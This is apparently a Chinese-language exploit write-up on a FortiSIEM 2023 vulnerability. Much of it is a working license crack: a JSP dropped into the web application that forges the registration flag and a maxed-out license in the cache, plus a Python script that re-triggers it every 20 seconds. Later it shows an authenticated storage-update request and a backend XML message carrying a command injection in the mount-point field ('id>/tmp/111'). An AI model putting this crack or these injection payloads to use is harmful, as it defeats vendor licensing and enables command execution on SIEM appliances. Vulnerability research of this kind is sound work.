FortiSIEM CVE 2023
FortiSIEM CVE 2023
环境部署
一个坑点是,需要5块硬盘才能正常部署,通过/usr/local/bin/configFSM.sh进入gui,进行图形化部署
选择SuperViosr模式进行部署
License
代码有一些列的filter检查
dorestFilter会检查是否注册
实际上是通过LicenseService实现的
进一步跟进
因为是根据缓存来判断是否属于注册状态,因此更新缓存即可。
<%@page contentType="text/html" pageEncoding="windows-1252"
import="net.sf.ehcache.CacheManager"
import="net.sf.ehcache.Ehcache"
import="net.sf.ehcache.Element"
import="com.ph.phoenix.framework.security.SecureContexts"
%>
<%
CacheManager manager = SecureContexts.getCacheManager();
Ehcache cache = manager.getEhcache("phoenixSystem");
Boolean isRegistered = true;
Element ele = new Element("isRegistered",isRegistered);
cache.put(ele);
out.println("yes");
%>
然后选择一次磁盘本地部署eventdb即可
但是登录会显示
同样的license的信息是从缓存中读取的,但是需要知道具体的格式
通过对updateLicenseInfo等方法进行逆向,得到如下代码
<!--
SP=1;
mode=1;
LicenseType=2;
starttime=1;
installed=1000;
citems=3000;
endtime=9999999999;
waAdvancedEndTime=9999999999;
endPointDevice=3000;
endPointDeviceEndTime=9999999999;
fsiemClusters=100;
fsiemClustersStartTime=1;
fsiemClustersEndTime=9999999999;
basicAgents=999;
advancedAgents=999;
finAgents=999;
finAgentsEnd=9999999999;
uuid=9f5d4d56-9fb9-6803-c4d3-f1dbb5d4fed4;
eps=9999999999;
epsLicenseQty=9999999999;
epsLicenseEndTime=9999999999;
serialnumber=564d5d9fb99f0368-c4d3f1dbb5d4fed4;
primarySuperUUID=9f5d4d56-9fb9-6803-c4d3-f1dbb5d4fed4;
country=us;
waStartTime=1;
waEndTime=9999999999;
supportEndTime=9999999999;
iocEndTime=9999999999;
storage=3000;
collectors=1000;
haEndTime=9999999999;
-->
<%@page contentType="text/html" pageEncoding="windows-1252"
import="net.sf.ehcache.CacheManager"
import="net.sf.ehcache.Ehcache"
import="net.sf.ehcache.Element"
import="java.util.Map"
import="java.util.HashMap"
import="com.ph.phoenix.framework.security.SecureContexts"
%>
<%
CacheManager manager = SecureContexts.getCacheManager();
Ehcache cache = manager.getEhcache("phoenixSystem");
Boolean isRegistered = true;
Element ele = new Element("isRegistered",isRegistered);
cache.put(ele);
Map map = new HashMap();
map.put("SP","1");
map.put("mode","1");
map.put("LicenseType","2");
map.put("starttime","1");
map.put("installed","100");
map.put("citems","3000");
map.put("endtime","9999999999");
map.put("waAdvancedEndTime","9999999999");
map.put("endPointDevice","3000");
map.put("endPointDeviceEndTime","9999999999");
map.put("fsiemClusters","100");
map.put("fsiemClustersStartTime","1");
map.put("fsiemClustersEndTime","9999999999");
map.put("basicAgents","999");
map.put("advancedAgents","999");
map.put("finAgents","999");
map.put("finAgentsEnd","9999999999");
map.put("uuid","79214d56-e0df-0e7b-6761-faad3b562fd8");
map.put("eps","9999999999");
map.put("epsLicenseQty","9999999999");
map.put("epsLicenseEndTime","9999999999");
map.put("serialnumber","564d2179dfe07b0e-6761faad3b562fd8");
map.put("primarySuperUUID","79214d56-e0df-0e7b-6761-faad3b562fd8");
map.put("country","cn");
map.put("waStartTime","1");
map.put("waEndTime","9999999999");
map.put("supportEndTime","9999999999");
map.put("iocEndTime","9999999999");
map.put("storage","2000");
map.put("collectors","2000");
map.put("haEndTime","9999999999");
Element ele2 = new Element("sysLicense",map);
cache.put(ele2);
out.println("yes");
%>
其中系统信息可以从这里获得
获取设备的uuid和serialnumber信息
在/opt/glassfish5/glassfish/domains/domain1/applications/phoenix/phoenix-web-1.0_war/目录下创建updateLicense.jsp,替换serialnumber 和uuid为机器上的值
激活脚本
1. import requests
2. import time
3. import sys
4.
5. def update_license(ip):
6. try:
7. url = f"http://{ip}/phoenix/updateLicense.jsp"
8. r = requests.get(url,verify=False,timeout=5)
9. if r.status_code == 200:
10. return True
11. except:
12. return False
13.
14.
15.
16.
17. if len(sys.argv) != 2:
18. print("python exp.py target_ip")
19. print("python exp.py 192.168.1.110")
20. exit(1)
21. else:
22. ip = sys.argv[1]
23. cnt = 0
24. while True:
25. if update_license(ip):
26. print(f"[+] update license {cnt}th time succeed")
27. else:
28. print(f"[-] update license {cnt}th time failed")
29. cnt += 1
30. time.sleep(20)
漏洞信息
通过compare发现有几个python文件进行了修改
通过对java代码分析,可以找到对应的调用点,但是是授权的命令执行
POST /phoenix/rest/h5/sys/config/storage/update?t=t1700559202749&s=506E71396C66734D536C7653514B534F41756756494367796B5534683236646F664D64666F777737 HTTP/1.1
Host: 192.168.1.189
Cookie: JSESSIONID=0cb095266c4bfeb225829a33bb6d; s=Pnq9lfsMSlvSQKSOAugVICgykU4h26dofMdfoww7
Content-Length: 239
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Access-Control-Allow-Methods: GET, PUT, POST, DELETE, HEAD, OPTIONS
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
Access-Control-Allow-Headers: content-type
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.189
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.189/phoenix/html/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
[{"left":"storage_type","right":"clickhouse"},{"left":"is_storage_online","right":true},{"left":"using_aws","right":false},{"left":"clickhouse_config","right":"{\"hotList\":[{\"diskPath\":\"/dev/sdf\",\"mountPoint\":\";id>/tmp/111;\"}]}"}]
检查了几乎所有变动的class文件没有发现疑似命令执行的点,而且所有的java api都有鉴权。也没有找到绕过的办法。
phMonitor
通过netstat 发现phMonitor 监听了7900等几个端口,同时对phMonitor逆向发现注册了很多的handler
其中关于storage的handler会调用datastore.py
但是通过这种注册handler的方式,无法直接知道到底是那个端口在接受数据,数据报文的格式是什么样子,这里直接对phMonitor进行调试,下断点发现数据格式为xml格式
结合对java的逆向,发现phMonitor是实际的后端程序,java是客户端,使用notifyBackend方法,调用sendComand,具体的数据包格式可以在sendcommand中发现
具体格式为
实际上通过test就可以触发命令执行
调试发现对应的bt,以及报文格式
"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<TEST_STORAGE type=\"clickhouse\">\n <storage_configuration>\n <hot>\n", ' ' <repeats 12 times>, "<disk>\n", ' ' <repeats 16 times>, "<path>/dev/sde</path>\n", ' ' <repeats 12 times>...
0x2b41148: " <mount_point>|id>/tmp/111</mount_point>\n", ' ' <repeats 12 times>, "</disk>\n </hot>\n </storage_configuration>\n</TEST_STORAGE>\n"